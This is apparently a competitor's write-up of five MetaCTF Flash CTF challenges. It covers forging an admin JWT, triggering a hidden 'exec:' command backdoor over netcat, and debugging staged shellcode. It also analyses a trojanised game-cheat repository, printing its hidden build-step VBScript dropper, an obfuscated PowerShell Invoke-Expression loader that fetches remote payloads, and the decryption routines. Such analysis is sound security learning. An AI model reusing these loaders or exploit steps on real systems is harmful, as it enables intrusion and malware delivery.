I placed first in the January 2025 MetaCTF Flash CTF, with 45 minutes to spare.. Let's see how I did it!
Cooked Books
Rows looked like this:
Title,Author,Times Borrowed,Avg Rating
To Kill a Mockingbird,Harper Lee,77,4.26
1984,George Orwell,101,4.2
The "Times Borrowed" was ASCII that decoded to the flag.
Flag: MetaCTF{1nf0rm4ti0n_1s_p0w3r}
Trading Places
When logging in with guest:guest
, the server sends a header:
jwt: jwt_z3bXPravDcYhjy5mhYgYLbWRoAPkPyn
You can see this is used to sign the JWT in the source code:
const token = new TextEncoder().encode(response.headers.get("jwt"));
const jwt = await new SignJWT({ sub: user })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("2h")
.sign(token);
document.cookie = "jwt=" + jwt;
window.location.href = "/dashboard";
Sign a HS256 token with sub: admin
and get the flag.
Flag: MetaCTF{cli3nt_s1d3_crypt0graph1c5}
Rear Hatch
The source code shows that when marking the request completed, it runs system()
on the string at an offset of 6 if it starts with a certain 5-character string:
void markRequestCompleted() {
int id;
printf("Enter the ID of the request to mark as completed: ");
scanf("%d", &id);
for (int i = 0; i < requestCount; i++) {
if (requests[i].id == id && (strncmp((char *)requests+i*264+4,"\x65\x78\x65\x63\x3a",5)==0?system((char *)requests+i*264+9),1:1)) {
requests[i].isCompleted = 1;
saveRequests();
printf("Request marked as completed.\n");
return;
}
}
printf("Request with ID %d not found.\n", id);
return;
}
That 5-letter string decodes to exec:
. So, create exec:ls
to list the files:
$ nc kubenode.mctf.io 30014
No existing data file found. Starting fresh.
=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 1
Enter description for the maintenance request: exec:ls
Request added successfully.
....
Enter your choice: 4
Enter the ID of the request to mark as completed: 1
flag.txt
run
Request marked as completed.
Then run cat flag.txt
to get the flag:
Enter your choice: 1
Enter description for the maintenance request: exec:cat flag.txt
Request added successfully.
...
Enter your choice: 4
Enter the ID of the request to mark as completed: 2
MetaCTF{4lw4ys_r34d_4ll_7h3_c0d3}Request marked as completed.
Flag: MetaCTF{4lw4ys_r34d_4ll_7h3_c0d3}
I Heard You Liked Loaders
The loader loads some shellcode into memory and calls it.
I debugged this shellcode using gdb-peda with something like this:
gdb-peda$ b *main+770 - break before call
gdb-peda$ r - run
gdb-peda$ s - step
gdb-peda$ s - step
The shellcode checks if you are root, then decrypts the next phase of the shellcode.
I didn't wanna install gdb-peda as root, so I just set RAX to 0 after the syscall and carried on. I also noticed it jumped to 0x7ffff7fbf050
so I broke there.
(Although for some reason the program crashed if you set the breakpoint too soon so I waited a little bit)
gdb-peda$ set $rax=0
gdb-peda$ bp *0x7ffff7fbf050
It cleared all the registers, then started a new shellcode, which I let run until return, and then searched for Meta
:
gdb-peda$ find Meta
Searching for 'Meta' in: None ranges
Found 1 results, display max 1 items:
mapped : 0x7ffff7fbf095 --> 0x465443bb6174654d
gdb-peda$ x/64s 0x7ffff7fbf095
0x7ffff7fbf095: "Meta\273CTF{\273m4de\273_l04\273d3r_\2734_ur\273_l0a\273d3r}H1۸<"
And there's the flag!
Flag: MetaCTF{m4de_l04d3r_4_ur_l0ad3r}
Whisper of the Pain
Checking the user's Brave history C/Users/IEUser/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/History
leads us to this GitHub:
https://github.com/hannah1337/CyberValorant-Cheat-Visual-Aimbot-ESP
After cloning the repo, you notice a large batch script when searching around:
Eduty External/Valorant-External.vcxproj: <Command>@echo off
setlocal
....cscript //nologo "%25a%25\b.vbs"
endlocal</Command>
Upon decoding, removing the cscript call, and running it in my FlareVM, I got a .vbs file:
b = "JFIXXXXc0Mm"
c = "VdvQXXXXm5i"
d = "JwUjNXXXVOM"
e = b & d & c
Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64")
f.DataType = "bin.base64"
f.Text = e
g = f.NodeTypedValue
h = "aaa\i.ps1"
Set j = CreateObject("Scripting.FileSystemObject")
Set k = j.CreateTextFile(h, True)
k.Write l(g)
k.Close
Set m = CreateObject("WScript.Shell")
m.Run "powershell.exe -ExecutionPolicy Bypass -File " & h, 0, False
Function l(n)
Dim o, p
Set o = CreateObject("ADODB.Recordset")
p = LenB(n)
If p > 0 Then
o.Fields.Append "q", 201, p
o.Open
o.AddNew
o("q").AppendChunk n
o.Update
l = o("q").GetChunk(p)
Else
l = ""
End If
End Function
Removing the PowerShell call and running that in my FlareVM, I got a .ps1 file:
$R = "=wXXXXnZ"; $txt = $R.ToCharArray(); [array]::Reverse($txt); $bnb = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(-join $txt)); $exp = "Invoke-Expression"; New-Alias -Name pWN -Value $exp -Force; pWN $bnb
I reversed the base64 in $R and decoded it, and got another PowerShell script (as to be expected by the IEX call).
Running it without the Start-Process and going through Fiddler, I saw it make a few HTTP calls. They were all deleted or privated pastes from various pastebin sites.
One https://rlim.com/tJ7Iv5-8vA/raw
stood out because it had REDACTED
in it.
So, I visited it without the /raw, and saw a History button. It used to have some Base64 in it:
w4jCmMOWwpPDrsKpWVTCmsKywq.....OPU8K2d8K/w4HCj8KVwp/CqsKlwqtywqE=
Looking through the code, you see some decryption routines:
function d {
param ([string]$mm, [string]$k)
try {
$b = [System.Convert]::FromBase64String($mm);
$s = [System.Text.Encoding]::UTF8.GetString($b);
$d = New-Object char[] $s.Length;
for ($i = 0; $i -lt $s.Length; $i++) {
$c = $s[$i];
$p = $k[$i % $k.Length];
$d[$i] = [char]($c - $p)
};
return -join $d
} catch {
throw
}
}
function v {
param ([string]$i)
$b = [System.Convert]::FromBase64String($i);
$s = [System.Text.Encoding]::UTF8.GetString($b);
$c = $s -split ' ';
$r = "";
foreach ($x in $c) {
$r += [char][int]$x
};
return $r
};
And a few calls (none of this is in any particular order):
$s = "NTAg....DUw";
$p = v -i $s;
# ....
$proc = "```$b#{o*%3I,};',W```"n~O@0";
$prooc = "&Er<E\9el>J`KE";
$d = d -mm $e -k $prooc;
$r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc }
I decrypted the string and got another URL to a GitHub TTDReplay.7z
. The password was in $p
after a decryption: 227345637233742d704073737730726422
.
I ran the .NET executable in there through de4dot and saw some code of interest:
// ns4.GClass3
public static string string_0 = "kxpp2h/dBYdEEY5NSXs4qGq+91pW6PsavDuNGg+u+IXLR0W2o0d5Cdg9OXc8qQ+i";
// ...
public static string string_2 = "${8',`d0}n,~@J;oZ\"9a";
Tracking these strings down, they were used in a MD5/AES-ECB decryption routine. I copied it into my own C# program:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp3
{
internal class Program
{
public static object smethod_1(string string_0)
{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
object obj = "";
try
{
byte[] array = new byte[32];
byte[] array2 = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes("${8',`d0}n,~@J;oZ\"9a"));
Array.Copy(array2, 0, array, 0, 16);
Array.Copy(array2, 0, array, 15, 16);
rijndaelManaged.Key = array;
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
byte[] array3 = Convert.FromBase64String(string_0);
obj = Encoding.UTF8.GetString(cryptoTransform.TransformFinalBlock(array3, 0, array3.Length));
}
catch (Exception ex)
{
}
return obj;
}
static void Main(string[] args)
{
Console.WriteLine(smethod_1("kxpp2h/dBYdEEY5NSXs4qGq+91pW6PsavDuNGg+u+IXLR0W2o0d5Cdg9OXc8qQ+i"));
}
}
}
Then I got a Pastebin link:
https://pastebin.com/raw/uyNtUu9p
This was the final solution to the challenge.
Flag: #MetaCTF{Curs3s_c0mE_h0me_T0_rO0sT}